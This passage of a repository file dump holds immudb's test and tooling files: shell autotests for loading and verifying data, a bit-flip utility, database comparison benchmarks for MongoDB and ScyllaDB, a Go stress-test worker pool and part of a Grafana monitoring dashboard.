    "content": "#!/bin/bash\nNUM_DATA=5\nNUM_DB=2\n\nIMMUCLIENT=../../immuclient\nIMMUADMIN=../../immuadmin\nIMMUDB=../../immudb\n\n# just in case it was previously set\nunset IMMUDB_ADMIN_PASSWORD\n\n# purge existing data\nrm -rf data\n# starts the database\n\n$IMMUDB &\nPID=$!\n\nPWD=\"daFosdo0.\"\n\n# login using expect script\nexpect adminlogin.expect $PWD\nexpect login.expect $PWD\n\n# create $NUM_DB databases and load $NUM_DATA in each of them\nfor j in `seq 0 $NUM_DB`\ndo\n\t# create db\n\tIDX=($(echo \"$j\"|md5sum))\n\tDBNAME=database${IDX:0:8}\n\techo \"DATABASE $j: $DBNAME\"\n\t$IMMUADMIN database create $DBNAME\n\t$IMMUCLIENT use $DBNAME\n\t# load data\n\tfor i in `seq 0 $NUM_DATA`\n\tdo\n\tkey=($(echo \"key:$i\"|md5sum))\n\tvalue=($(echo \"value:$i\"|md5sum))\n\t$IMMUCLIENT safeset $key $value\n\tdone\ndone\n\necho \"Done loading, now checing\"\n\nRET=0\n\n# and now, we check the data:\nfor j in `seq 0 $NUM_DB`\ndo\n\tIDX=($(echo \"$j\"|md5sum))\n\tDBNAME=database${IDX:0:8}\n\techo \"DATABASE $j: $DBNAME\"\n\t$IMMUCLIENT use $DBNAME\n\tfor i in `seq 0 $NUM_DATA`\n\tdo\n\t\techo \"Reading $i\"\n\t\tkey=($(echo \"key:$i\"|md5sum))\n\t\tvalue=($(echo \"value:$i\"|md5sum))\n\t\tRESP=`$IMMUCLIENT getByIndex $i`\n\t\trkey=`echo $RESP|egrep -o \"key: [^ ]+\"|cut -d ' ' -f 2`\n\t\trvalue=`echo $RESP|egrep -o 'payload:\".*\"'|cut -d '\"' -f 2`\n\t\tif [ \"$key\" != \"$rkey\" ]\n\t\tthen\n\t\t\techo \"ERROR WRONG KEY '$key' != '$rkey'\"\n\t\t\tRET=-1\n\t\t\tbreak\n\t\tfi\n\t\tif [ \"$value\" != \"$rvalue\" ]\n\t\tthen\n\t\t\techo \"ERROR WRONG VALUE '$value' != '$rvalue'\"\n\t\t\tRET=-2\n\t\t\tbreak\n\t\tfi\n\n\t\tRESP=`$IMMUCLIENT safeget $key`\n\t\trkey=`echo $RESP|egrep -o \"key: [^ ]+\"|cut -d ' ' -f 2`\n\t\trvalue=`echo $RESP|egrep -o 'value: [^ ]+'|cut -d ' ' -f 2`\n\t\trverified=`echo $RESP|egrep -o 'verified: [^ ]+'|cut -d ' ' -f 2`\n\t\tif [ \"$key\" != \"$rkey\" ]\n\t\tthen\n\t\t\techo \"ERROR WRONG KEY '$key' != '$rkey'\"\n\t\t\tRET=-3\n\t\t\tbreak\n\t\tfi\n\t\tif [ \"$value\" != \"$rvalue\" ]\n\t\tthen\n\t\t\techo \"ERROR WRONG VALUE '$value' != '$rvalue'\"\n\t\t\tRET=-4\n\t\t\tbreak\n\t\tfi\n\t\tif [ \"$rverified\" != \"true\" ]\n\t\tthen\n\t\t\techo \"ERROR NOT VERIFIED\"\n\t\t\tRET=-5\n\t\t\tbreak\n\t\tfi\n\tdone\ndone\n\nkill $PID\nwait $PID\n\n# purge existing data\nrm -rf data\n\nif [ $RET -eq 0 ]\nthen printf \"\\n\\n\\033[0;32mSUCCESS!\\033[0m\\n\\n\"\nelse printf \"\\n\\n\\033[0;31mFAIL\\033[0m\\n\\n\"\nfi\n\nexit $RET\n"
  },
  {
    "path": "tools/autotest/envpasswd.sh",
    "content": "#!/bin/bash\n\nIMMUCLIENT=../../immuclient\nIMMUADMIN=../../immuadmin\nIMMUDB=../../immudb\n\nexport IMMUDB_ADMIN_PASSWORD=\"IfHDozxly.2ERYfKg\"\n\n# purge existing data\nrm -rf data\n# starts the database\n$IMMUDB &\nPID=$!\nsleep 1\nexpect adminlogin1.expect ${IMMUDB_ADMIN_PASSWORD}\n\nif [ $? -eq 0 ]; then\n\tprintf \"\\n\\n\\033[0;32mSUCCESS!\\033[0m\\n\\n\"\n\tRET=0\nelse\n\tprintf \"\\n\\n\\033[0;31mFailed login using env variable IMMUDB_ADMIN_PASSWORD\\033[0m\\n\\n\"\n\tRET=1\nfi\n\nkill $PID\nwait $PID\nrm -rf data # clear data\n\nexit $RET\n"
  },
  {
    "path": "tools/autotest/login.expect",
    "content": "#!/usr/bin/expect -f\nset PASSWD [lindex $argv 0]\nspawn ../../immuclient login immudb\nexpect \"Password:\"\nsend -- \"$PASSWD\\r\"\nexpect eof\n"
  },
  {
    "path": "tools/bitflip.py",
    "content": "#!/usr/bin/env python3\n\"\"\"Toggle the bit at the specified offset.\nSyntax: <cmdname> filename bit-offset\"\"\"\n\nimport sys\nfname = sys.argv[1]\n# Convert bit offset to bytes + leftover bits\nbitpos = int(sys.argv[2])\nnbytes, nbits = divmod(bitpos, 8)\n\n# Open in read+write, binary mode; read 1 byte\nfp = open(fname, \"r+b\")\nfp.seek(nbytes, 0)\nc = fp.read(1)\n\n# Toggle bit at byte position `nbits`\ntoggled = bytes( [ ord(c)^(1<<nbits) ] )\n# print(toggled) # diagnostic output\n\n# Back up one byte, write out the modified byte\nfp.seek(-1, 1)  # or absolute: fp.seek(nbytes, 0)\nfp.write(toggled)\nfp.close()\n"
  },
  {
    "path": "tools/comparison/mongodb/Dockerfile",
    "content": "FROM mongo \n\nWORKDIR /\n\nCOPY . .\n\nENTRYPOINT [\"/run.sh\"]\n\n"
  },
  {
    "path": "tools/comparison/mongodb/load.js",
    "content": "var N = 500000\nvar BATCH_SIZE = 100\n\nfunction test() {\n    var startTime = new Date\n    for(var i=0; i<N/BATCH_SIZE; i++) {\n        var chunck = []\n        for (var j=0; j<BATCH_SIZE; j++) {\n            chunck[j] = {key: (j*i).toString(), value: \"01234567\"}\n        }\n        db.test.insertMany(chunck)\n    }\n    \n    var endTime = new Date\n\n    var elapsed = (endTime.getTime() - startTime.getTime())/1000\n    var txSec = (N/elapsed)\n\n    print(\"Iterations:  \" + N)\n    print(\"Elapsed t.:  \" + elapsed + \" sec\")\n    print(\"Throughput:  \" + txSec)\n}\n\nprint(\"Starting test...\")\ntest()"
  },
  {
    "path": "tools/comparison/mongodb/run.sh",
    "content": "#!/bin/bash\nset -Eeuo pipefail\n\ndocker-entrypoint.sh mongod &\n\nsleep 5 \n\nmongo load.js"
  },
  {
    "path": "tools/comparison/scylladb/Dockerfile",
    "content": "FROM scylladb/scylla\nRUN curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py\nRUN python get-pip.py\nRUN pip install cassandra-driver\nCOPY . .\nENTRYPOINT [ \"/run.sh\" ]\n"
  },
  {
    "path": "tools/comparison/scylladb/bench.py",
    "content": "# sequential, non-concurrent batch inserts\n\nfrom timeit import timeit\nfrom cassandra.query import BatchStatement\nfrom cassandra.cluster import Cluster\nfrom cassandra import ConsistencyLevel\n\nITERATIONS = 5000\nBATCH_SIZE = 100\nTXS = ITERATIONS * BATCH_SIZE\n\ncluster = Cluster([\"127.0.0.1\"])\nsession = cluster.connect(\"ks_test\")\nstmt = session.prepare(\"INSERT INTO test (key,value) VALUES (?, ?)\")\n\ndef run(iterations, batch_size):\n\tfor k in range(iterations):\n\t\tbatch = BatchStatement(consistency_level=ConsistencyLevel.ANY)\n\t\tfor i, j in [(str(x), \"123456789\") for x in range(batch_size)]:\n\t\t\tbatch.add(stmt,(i,j))\n\t\tsession.execute(batch)\n\t\tif k % 100 == 0:\n\t\t\tprint(\"Transaction:\\t{}\".format(k * batch_size))\n\nprint(\"Running {} iterations at batch size {}\".format(ITERATIONS, BATCH_SIZE))\nduration = timeit(lambda: run(ITERATIONS, BATCH_SIZE), number=1)\nprint(\"================================================\")\nprint(\"Duration:\\t{}s\".format(duration))\nprint(\"Transactions:\\t{}\".format(TXS))\nprint(\"Throughput:\\t{} tx/s\".format(TXS / duration))\n"
  },
  {
    "path": "tools/comparison/scylladb/run.sh",
    "content": "#!/bin/sh\necho -n \"Starting scylladb...\"\npython3 -s /docker-entrypoint.py --listen-address 127.0.0.1 > /dev/null 2>&1 &\nwhile ! echo | cqlsh 127.0.0.1 > /dev/null 2>&1; do echo -n \".\"; sleep 1; done\necho\ncqlsh 127.0.0.1 < schema\npython -u bench.py\n"
  },
  {
    "path": "tools/comparison/scylladb/schema",
    "content": "create keyspace ks_test with replication = { 'class' : 'SimpleStrategy', 'replication_factor' : 1 };\ncreate table ks_test.test (key text, value text, primary key (key));\n"
  },
  {
    "path": "tools/long_running/stress_tool_worker_pool.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage main\n\nimport (\n\t\"context\"\n\t\"flag\"\n\t\"fmt\"\n\t\"log\"\n\t\"math/rand\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\timmudb \"github.com/codenotary/immudb/pkg/client\"\n\t\"google.golang.org/protobuf/types/known/emptypb\"\n)\n\n// run stress tool worker pool. Ex stress_tool_worker_pool --committers 8 --readers 4 --duration 10s\ntype cfg struct {\n\tIpAddr     string\n\tPort       int\n\tUsername   string\n\tPassword   string\n\tDBName     string\n\tcommitters int\n\treaders    int\n\tduration   time.Duration\n}\n\nvar config cfg\n\nfunc parseConfig() (c cfg) {\n\tflag.StringVar(&c.IpAddr, \"addr\", \"\", \"IP address of immudb server\")\n\tflag.IntVar(&c.Port, \"port\", 3322, \"Port number of immudb server\")\n\tflag.StringVar(&c.Username, \"user\", \"immudb\", \"Username for authenticating to immudb\")\n\tflag.StringVar(&c.Password, \"pass\", \"immudb\", \"Password for authenticating to immudb\")\n\tflag.StringVar(&c.DBName, \"db\", \"defaultdb\", \"Name of the database to use\")\n\tflag.IntVar(&c.committers, \"committers\", 5, \"number of concurrent committers. Each committer will open a session for each insertion\")\n\tflag.IntVar(&c.readers, \"readers\", 5, \"number of concurrent readers. Each reader will use a single session for all read\")\n\tflag.DurationVar(&c.duration, \"duration\", time.Second*10, \"duration of the test. Ex : 10s, 1m, 1h\")\n\tflag.Parse()\n\treturn\n}\n\nfunc main() {\n\tlog.SetFlags(log.LstdFlags | log.Lshortfile)\n\tconfig = parseConfig()\n\tjobs := entriesGenerator()\n\tokJobs := make(chan *schema.KeyValue)\n\tdone := make(chan bool)\n\tdoner := make(chan bool)\n\n\twwg := new(sync.WaitGroup)\n\trwg := new(sync.WaitGroup)\n\n\tfor w := 1; w <= config.committers; w++ {\n\t\tgo worker(jobs, okJobs, done, wwg)\n\t}\n\tfor w := 1; w <= config.readers; w++ {\n\t\tgo reader(okJobs, doner, rwg)\n\t}\n\n\tdonec := make(chan bool)\n\tgo compactor(donec)\n\n\tticker := time.NewTicker(config.duration)\nouter:\n\tfor {\n\t\tselect {\n\t\tcase <-ticker.C:\n\t\t\tfor w := 1; w <= config.committers; w++ {\n\t\t\t\tdone <- true\n\t\t\t}\n\t\t\twwg.Wait()\n\t\t\tfor w := 1; w <= config.readers; w++ {\n\t\t\t\tdoner <- true\n\t\t\t}\n\t\t\tdonec <- true\n\t\t\tbreak outer\n\t\t}\n\t}\n\trwg.Wait()\n\tlog.Printf(\"done\\n\\n\")\n}\n\nfunc worker(jobs, okJobs chan *schema.KeyValue, done chan bool, wwg *sync.WaitGroup) {\n\tlog.Printf(\"worker started\\n\")\n\tvar keyVal *schema.KeyValue\n\tfor {\n\t\tselect {\n\t\tcase keyVal = <-jobs:\n\t\t\twwg.Add(1)\n\t\t\topts := immudb.DefaultOptions().WithAddress(config.IpAddr).WithPort(config.Port)\n\n\t\t\tvar client immudb.ImmuClient\n\t\t\tvar err error\n\n\t\t\tclient = immudb.NewClient().WithOptions(opts)\n\n\t\t\terr = client.OpenSession(context.Background(), []byte(config.Username), []byte(config.Password), config.DBName)\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatalln(\"Failed to connect. Reason:\", err)\n\t\t\t}\n\n\t\t\ttime.Sleep(time.Millisecond * time.Duration(rand.Intn(5000)))\n\n\t\t\t_, err = client.Set(context.Background(), keyVal.Key, keyVal.Value)\n\t\t\tif err != nil && err.Error() != \"session not found\" {\n\t\t\t\tlog.Fatalln(\"Failed to insert. Reason:\", err)\n\t\t\t}\n\n\t\t\terr = client.CloseSession(context.Background())\n\t\t\tif err != nil && err.Error() != \"session not found\" {\n\t\t\t\tlog.Fatalln(\"Failed to close session. Reason:\", err)\n\t\t\t}\n\t\t\tokJobs <- keyVal\n\t\t\twwg.Done()\n\t\tcase <-done:\n\t\t\treturn\n\t\t}\n\t}\n}\n\nfunc reader(okJobs chan *schema.KeyValue, done chan bool, rwg *sync.WaitGroup) {\n\trwg.Add(1)\n\tlog.Printf(\"reader started\\n\")\n\n\tvar client immudb.ImmuClient\n\tvar err error\n\n\topts := immudb.DefaultOptions().WithAddress(config.IpAddr).WithPort(config.Port)\n\tclient = immudb.NewClient().WithOptions(opts)\n\n\terr = client.OpenSession(context.Background(), []byte(config.Username), []byte(config.Password), config.DBName)\n\tif err != nil {\n\t\tlog.Fatalln(\"Failed to connect. Reason:\", err)\n\t}\n\tkeyVal := &schema.KeyValue{}\nouter:\n\tfor {\n\t\tselect {\n\t\tcase keyVal = <-okJobs:\n\t\t\t_, err = client.VerifiedGet(context.Background(), keyVal.Key)\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatalln(\"Failed to get. Reason:\", err)\n\t\t\t}\n\t\tcase <-done:\n\t\t\tbreak outer\n\t\t}\n\t}\n\terr = client.CloseSession(context.Background())\n\tif err != nil && err.Error() != \"session not found\" {\n\t\tlog.Fatalln(\"Failed to close session. Reason:\", err)\n\t}\n\trwg.Done()\n}\n\nfunc entriesGenerator() chan *schema.KeyValue {\n\tentries := make(chan *schema.KeyValue, 100)\n\trand.Seed(time.Now().UnixNano())\n\tgo func() {\n\t\tlog.Printf(\"Worker is generating key values...\\r\\n\")\n\t\tfor true {\n\t\t\tid := int(time.Now().UnixNano())\n\t\t\tv := make([]byte, 32)\n\t\t\trand.Read(v)\n\t\t\tentries <- &schema.KeyValue{Key: []byte(fmt.Sprintf(\"%d\", id)), Value: v}\n\t\t}\n\t}()\n\treturn entries\n}\n\nfunc compactor(done chan bool) {\n\topts := immudb.DefaultOptions().WithAddress(config.IpAddr).WithPort(config.Port)\n\tclient := immudb.NewClient().WithOptions(opts)\n\n\terr := client.OpenSession(context.Background(), []byte(config.Username), []byte(config.Password), config.DBName)\n\tif err != nil {\n\t\tlog.Fatalln(\"Failed to connect. Reason:\", err)\n\t}\n\n\tticker := time.NewTicker(time.Second * 30)\nouter:\n\tfor {\n\t\tselect {\n\t\tcase <-ticker.C:\n\t\t\tlog.Printf(\"Compaction started\")\n\t\t\terr = client.CompactIndex(context.Background(), &emptypb.Empty{})\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatalln(\"Failed to compact. Reason:\", err)\n\t\t\t}\n\t\t\tlog.Printf(\"Compaction terminated\")\n\t\tcase <-done:\n\t\t\tbreak outer\n\t\t}\n\t}\n\tclient.CloseSession(context.Background())\n\treturn\n}\n"
  },
  {
    "path": "tools/monitoring/grafana-dashboard.json",
    "content": "{\n    \"annotations\": {\n        \"list\": [\n            {\n                \"builtIn\": 1,\n                \"datasource\": \"-- Grafana --\",\n                \"enable\": true,\n                \"hide\": true,\n                \"iconColor\": \"rgba(0, 211, 255, 1)\",\n                \"name\": \"Annotations & Alerts\",\n                \"target\": {\n                    \"limit\": 100,\n                    \"matchAny\": false,\n                    \"tags\": [],\n                    \"type\": \"dashboard\"\n                },\n                \"type\": \"dashboard\"\n            }\n        ]\n    },\n    \"editable\": true,\n    \"fiscalYearStartMonth\": 0,\n    \"graphTooltip\": 0,\n    \"id\": 267,\n    \"iteration\": 1649851192212,\n    \"links\": [],\n    \"liveNow\": false,\n    \"panels\": [\n        {\n            \"collapsed\": false,\n            \"datasource\": \"${datasource}\",\n            \"gridPos\": {\n                \"h\": 1,\n                \"w\": 24,\n                \"x\": 0,\n                \"y\": 0\n            },\n            \"id\": 10,\n            \"panels\": [],\n            \"title\": \"Database size\",\n            \"type\": \"row\"\n        },\n        {\n            \"datasource\": \"${datasource}\",\n            \"fieldConfig\": {\n                \"defaults\": {\n                    \"color\": {\n                        \"mode\": \"palette-classic\"\n                    },\n                    \"custom\": {\n                        \"axisLabel\": \"\",\n                        \"axisPlacement\": \"auto\",\n                        \"barAlignment\": 0,\n                        \"drawStyle\": \"line\",\n                        \"fillOpacity\": 0,\n                        \"gradientMode\": \"none\",\n                        \"hideFrom\": {\n                            \"graph\": false,\n                            \"legend\": false,\n                            \"tooltip\": false,\n                            \"viz\": false\n                        },\n                        \"lineInterpolation\": \"linear\",\n                        \"lineWidth\": 1,\n                        \"pointSize\": 5,\n                        \"scaleDistribution\": {\n                            \"type\": \"linear\"\n                        },\n                        \"showPoints\": \"auto\",\n                        \"spanNulls\": false,\n                        \"stacking\": {\n                            \"group\": \"A\",\n                            \"mode\": \"none\"\n                        },\n                        \"thresholdsStyle\": {\n                            \"mode\": \"off\"\n                        }\n                    },\n                    \"mappings\": [],\n                    \"thresholds\": {\n                        \"mode\": \"absolute\",\n                        \"steps\": [\n                            {\n                                \"color\": \"green\",\n                                \"value\": null\n                            },\n                            {\n                                \"color\": \"red\",\n                                \"value\": 80\n                            }\n                        ]\n                    },\n                    \"unit\": \"bytes\"\n                },\n                \"overrides\": []\n            },\n            \"gridPos\": {\n                \"h\": 8,\n                \"w\": 6,\n                \"x\": 0,\n                \"y\": 1\n            },\n            \"id\": 6,\n            \"options\": {\n                \"legend\": {\n                    \"calcs\": [],\n                    \"displayMode\": \"list\",\n                    \"placement\": \"bottom\"\n                },\n                \"tooltip\": {\n                    \"mode\": \"single\"\n                }\n            },\n            \"targets\": [\n                {\n                    \"datasource\": \"${datasource}\",\n                    \"exemplar\": true,\n                    \"expr\": \"immudb_db_size_bytes{instance=~\\\"$instance\\\",db=~\\\"$db\\\"}\",\n                    \"interval\": \"\",\n                    \"legendFormat\": \"{{db}} ({{instance}})\",\n                    \"refId\": \"A\"\n                }\n            ],\n            \"title\": \"Database size\",\n            \"type\": \"timeseries\"\n        },\n        {\n            \"datasource\": \"${datasource}\",\n            \"fieldConfig\": {\n                \"defaults\": {\n                    \"color\": {\n                        \"mode\": \"palette-classic\"\n                    },\n                    \"custom\": {\n                        \"axisLabel\": \"\",\n                        \"axisPlacement\": \"auto\",\n                        \"barAlignment\": 0,\n                        \"drawStyle\": \"line\",\n                        \"fillOpacity\": 0,\n                        \"gradientMode\": \"none\",\n                        \"hideFrom\": {\n                            \"graph\": false,\n                            \"legend\": false,\n                            \"tooltip\": false,\n                            \"viz\": false\n                        },\n                        \"lineInterpolation\": \"linear\",\n                        \"lineWidth\": 1,\n                        \"pointSize\": 5,\n                        \"scaleDistribution\": {\n                            \"type\": \"linear\"\n                        },\n                        \"showPoints\": \"auto\",\n                        \"spanNulls\": false,\n                        \"stacking\": {\n                            \"group\": \"A\",\n                            \"mode\": \"none\"\n                        },\n                        \"thresholdsStyle\": {\n                            \"mode\": \"off\"\n                        }\n                    },\n                    \"mappings\": [],\n                    \"thresholds\": {\n                        \"mode\": \"absolute\",\n                        \"steps\": [\n                            {\n                                \"color\": \"green\",\n                                \"value\": null\n                            },\n                            {\n                                \"color\": \"red\",\n                                \"value\": 80\n                            }\n                        ]\n                    },\n                    \"unit\": \"bytes\"\n                },\n                \"overrides\": []\n            },\n            \"gridPos\": {\n                \"h\": 8,\n                \"w\": 6,\n                \"x\": 6,\n                \"y\": 1\n            },\n            \"id\": 13,\n            \"options\": {\n                \"legend\": {\n                    \"calcs\": [],\n                    \"displayMode\": \"list\",\n                    \"placement\": \"bottom\"\n                },\n                \"tooltip\": {\n                    \"mode\": \"single\"\n                }\n            },\n            \"targets\": [\n                {\n                    \"exemplar\": true,\n                    \"expr\": \"rate(immudb_db_size_bytes{instance=~\\\"$instance\\\",db=~\\\"$db\\\"}[$__rate_interval])\",\n                    \"interval\": \"\",\n                    \"legendFormat\": \"{{db}} ({{instance}})\",\n                    \"refId\": \"A\"\n                }\n            ],\n            \"title\": \"Database growth\",\n            \"type\": \"timeseries\"\n        },\n        {\n            \"datasource\": \"${datasource}\",\n            \"description\": \"\",\n            \"fieldConfig\": {\n                \"defaults\": {\n                    \"color\": {\n                        \"mode\": \"palette-classic\"\n                    },\n                    \"custom\": {\n                        \"axisLabel\": \"\",\n                        \"axisPlacement\": \"auto\",\n                        \"barAlignment\": 0,\n                        \"drawStyle\": \"line\",\n                        \"fillOpacity\": 0,\n                        \"gradientMode\": \"none\",\n                        \"hideFrom\": {\n                            \"graph\": false,\n                            \"legend\": false,\n                            \"tooltip\": false,\n                            \"viz\": false\n                        },\n                        \"lineInterpolation\": \"linear\",\n                        \"lineWidth\": 1,\n                        \"pointSize\": 5,\n                        \"scaleDistribution\": {\n                            \"type\": \"linear\"\n                        },\n                        \"showPoints\": \"auto\",\n                        \"spanNulls\": false,\n                        \"stacking\": {\n                            \"group\": \"A\",\n                            \"mode\": \"none\"\n                        },\n                        \"thresholdsStyle\": {\n                            \"mode\": \"off\"\n                        }\n                    },\n                    \"mappings\": [],\n                    \"thresholds\": {\n                        \"mode\": \"absolute\",\n                        \"steps\": [\n                            {\n                                \"color\": \"green\",\n                                \"value\": null\n                            },\n                            {\n                                \"color\": \"red\",\n                                \"value\": 80\n                            }\n                        ]\n                    }\n                },\n                \"overrides\": []\n            },\n            \"gridPos\": {\n                \"h\": 8,\n                \"w\": 6,\n                \"x\": 12,\n                \"y\": 1\n            },\n            \"id\": 8,\n            \"options\": {\n                \"legend\": {\n                    \"calcs\": [],\n                    \"displayMode\": \"list\",\n                    \"placement\": \"bottom\"\n                },\n                \"tooltip\": {\n                    \"mode\": \"single\"\n                }\n            },\n            \"targets\": [\n                {\n                    \"exemplar\": true,\n                    \"expr\": \"immudb_number_of_stored_entries{instance=~\\\"$instance\\\",db=~\\\"$db\\\"}\",\n                    \"interval\": \"\",\n                    \"legendFormat\": \"{{db}} ({{instance}})\",\n                    \"refId\": \"A\"\n                }\n            ],\n            \"title\": \"Stored Entries\",\n            \"type\": \"timeseries\"\n        },\n        {\n            \"datasource\": \"${datasource}\",\n            \"description\": \"\",\n            \"fieldConfig\": {\n                \"defaults\": {\n                    \"color\": {\n                        \"mode\": \"palette-classic\"\n                    },\n                    \"custom\": {\n                        \"axisLabel\": \"\",\n                        \"axisPlacement\": \"auto\",\n                        \"barAlignment\": 0,\n                        \"drawStyle\": \"line\",\n                        \"fillOpacity\": 0,\n                        \"gradientMode\": \"none\",\n                        \"hideFrom\": {\n                            \"graph\": false,\n                            \"legend\": false,\n                            \"tooltip\": false,\n                            \"viz\": false\n                        },\n                        \"lineInterpolation\": \"linear\",\n                        \"lineWidth\": 1,\n                        \"pointSize\": 5,\n                        \"scaleDistribution\": {\n                            \"type\": \"linear\"\n                        },\n                        \"showPoints\": \"auto\",\n                        \"spanNulls\": false,\n                        \"stacking\": {\n                            \"group\": \"A\",\n                            \"mode\": \"none\"\n                        },\n                        \"thresholdsStyle\": {\n                            \"mode\": \"off\"\n                        }\n                    },\n                    \"mappings\": [],\n                    \"thresholds\": {\n                        \"mode\": \"absolute\",\n                        \"steps\": [\n                            {\n                                \"color\": \"green\",\n                                \"value\": null\n                            },\n                            {\n                                \"color\": \"red\",\n                                \"value\": 80\n                            }\n                        ]\n                    }\n                },\n                \"overrides\": []\n            },\n            \"gridPos\": {\n                \"h\": 8,\n                \"w\": 6,\n                \"x\": 18,\n                \"y\": 1\n            },\n            \"id\": 14,\n            \"options\": {\n                \"legend\": {\n                    \"calcs\": [],\n                    \"displayMode\": \"list\",\n                    \"placement\": \"bottom\"\n                },\n                \"tooltip\": {\n                    \"mode\": \"single\"\n                }\n            },\n            \"targets\": [\n                {\n                    \"exemplar\": true,\n                    \"expr\": \"rate(immudb_number_of_stored_entries{instance=~\\\"$instance\\\",db=~\\\"$db\\\"}[$__rate_interval])\",\n                    \"interval\": \"\",\n                    \"legendFormat\": \"{{db}} ({{instance}})\",\n                    \"refId\": \"A\"\n                }\n            ],\n            \"title\": \"Stored Entries Rate\",\n            \"type\": \"timeseries\"\n        },\n        {\n            \"collapsed\": false,\n            \"datasource\": \"${datasource}\",\n            \"gridPos\": {\n                \"h\": 1,\n                \"w\": 24,\n                \"x\": 0,\n                \"y\": 9\n            },\n            \"id\": 16,\n            \"panels\": [],\n            \"title\": \"Indexer statistics\",\n            \"type\": \"row\"\n        },\n        {\n            \"datasource\": \"${datasource}\",\n            \"fieldConfig\": {\n                \"defaults\": {\n                    \"color\": {\n                        \"mode\": \"palette-classic\"\n                    },\n                    \"custom\": {\n                        \"axisLabel\": \"\",\n                        \"axisPlacement\": \"auto\",\n                        \"barAlignment\": 0,\n                        \"drawStyle\": \"line\",\n                        \"fillOpacity\": 0,\n                        \"gradientMode\": \"none\",\n                        \"hideFrom\": {\n                            \"graph\": false,\n                            \"legend\": false,\n                            \"tooltip\": false,\n                            \"viz\": false\n                        },\n                        \"lineInterpolation\": \"linear\",\n                        \"lineWidth\": 1,\n                        \"pointSize\": 5,\n                        \"scaleDistribution\": {\n                            \"type\": \"linear\"\n                        },\n                        \"showPoints\": \"auto\",\n                        \"spanNulls\": false,\n                        \"stacking\": {\n                            \"group\": \"A\",\n                            \"mode\": \"none\"\n                        },\n                        \"thresholdsStyle\": {\n                            \"mode\": \"off\"\n                        }\n                    },\n                    \"mappings\": [],\n                    \"min\": 0,\n                    \"thresholds\": {\n                        \"mode\": \"absolute\",\n                        \"steps\": [\n                            {\n                                \"color\": \"green\",\n                                \"value\": null\n                            },\n                            {\n                                \"color\": \"red\",\n                                \"value\": 80\n                            }\n                        ]\n                    },\n                    \"unit\": \"percentunit\"\n                },\n                \"overrides\": []\n            },\n            \"gridPos\": {\n                \"h\": 8,\n                \"w\": 8,\n                \"x\": 0,\n                \"y\": 10\n            },\n            \"id\": 24,\n            \"options\": {\n                \"legend\": {\n                    \"calcs\": [],\n                    \"displayMode\": \"list\",\n                    \"placement\": \"bottom\"\n                },\n                \"tooltip\": {\n                    \"mode\": \"single\"\n                }\n            },\n            \"targets\": [\n                {\n                    \"exemplar\": true,\n                    \"expr\": \"immudb_last_indexed_trx_id{instance=~\\\"$instance\\\",db=~\\\"$db\\\"}/immudb_last_committed_trx_id{instance=~\\\"$instance\\\",db=~\\\"$db\\\"}\",\n                    \"interval\": \"\",\n                    \"legendFormat\": \"{{db}} ({{instance}})\",\n                    \"refId\": \"A\"\n                }\n            ],\n            \"title\": \"Indexed %\",\n            \"type\": \"timeseries\"\n        },\n        {\n            \"datasource\": \"${datasource}\",\n            \"fieldConfig\": {\n                \"defaults\": {\n                    \"color\": {\n                        \"mode\": \"palette-classic\"\n                    },\n                    \"custom\": {\n                        \"axisLabel\": \"\",\n                        \"axisPlacement\": \"auto\",\n                        \"barAlignment\": 0,\n                        \"drawStyle\": \"line\",\n                        \"fillOpacity\": 0,\n                        \"gradientMode\": \"none\",\n                        \"hideFrom\": {\n                            \"graph\": false,\n                            \"legend\": false,\n                            \"tooltip\": false,\n                            \"viz\": false\n                        },\n                        \"lineInterpolation\": \"linear\",\n                        \"lineWidth\": 1,\n                        \"pointSize\": 5,\n                        \"scaleDistribution\": {\n                            \"type\": \"linear\"\n                        },\n                        \"showPoints\": \"auto\",\n                        \"spanNulls\": false,\n                        \"stacking\": {\n                            \"group\": \"A\",\n                            \"mode\": \"none\"\n                        },\n                        \"thresholdsStyle\": {\n                            \"mode\": \"off\"\n                        }\n                    },\n                    \"mappings\": [],\n                    \"min\": 0,\n                    \"thresholds\": {\n                        \"mode\": \"absolute\",\n                        \"steps\": [\n                            {\n                                \"color\": \"green\",\n                                \"value\": null\n                            },\n                            {\n                                \"color\": \"red\",\n                                \"value\": 80\n                            }\n                        ]\n                    }\n                },\n                \"overrides\": []\n            },\n            \"gridPos\": {\n                \"h\": 8,\n                \"w\": 8,\n                \"x\": 8,\n                \"y\": 10\n            },\n            \"id\": 26,\n            \"options\": {\n                \"legend\": {\n                    \"calcs\": [],\n                    \"displayMode\": \"list\",\n                    \"placement\": \"bottom\"\n                },\n                \"tooltip\": {\n                    \"mode\": \"single\"\n                }\n            },\n            \"targets\": [\n                {\n                    \"exemplar\": true,\n                    \"expr\": \"rate(immudb_last_indexed_trx_id{instance=~\\\"$instance\\\",db=~\\\"$db\\\"}[$__rate_interval])\",\n                    \"interval\": \"\",\n                    \"legendFormat\": \"Idx {{db}} ({{instance}})\",\n                    \"refId\": \"A\"\n                },\n                {\n                    \"exemplar\": true,\n                    \"expr\": \"rate(immudb_last_committed_trx_id{instance=~\\\"$instance\\\",db=~\\\"$db\\\"}[$__rate_interval])\",\n                    \"hide\": false,\n                    \"interval\": \"\",\n                    \"legendFormat\": \"Cmt {{db}} ({{instance}})\",\n                    \"refId\": \"B\"\n                },\n                {\n                    \"exemplar\": true,\n                    \"expr\": \"avg_over_time(rate(immudb_last_indexed_trx_id{instance=~\\\"$instance\\\",db=~\\\"$db\\\"}[$__rate_interval])[1h:$__rate_interval])\",\n                    \"hide\": true,\n                    \"interval\": \"\",\n                    \"legendFormat\": \"Idx avg {{db}} ({{instance}})\",\n                    \"refId\": \"C\"\n                }\n            ],\n            \"title\": \"Indexing / commit rate\",\n            \"type\": \"timeseries\"\n        },\n        {\n            \"datasource\": \"${datasource}\",\n            \"fieldConfig\": {\n                \"defaults\": {\n                    \"color\": 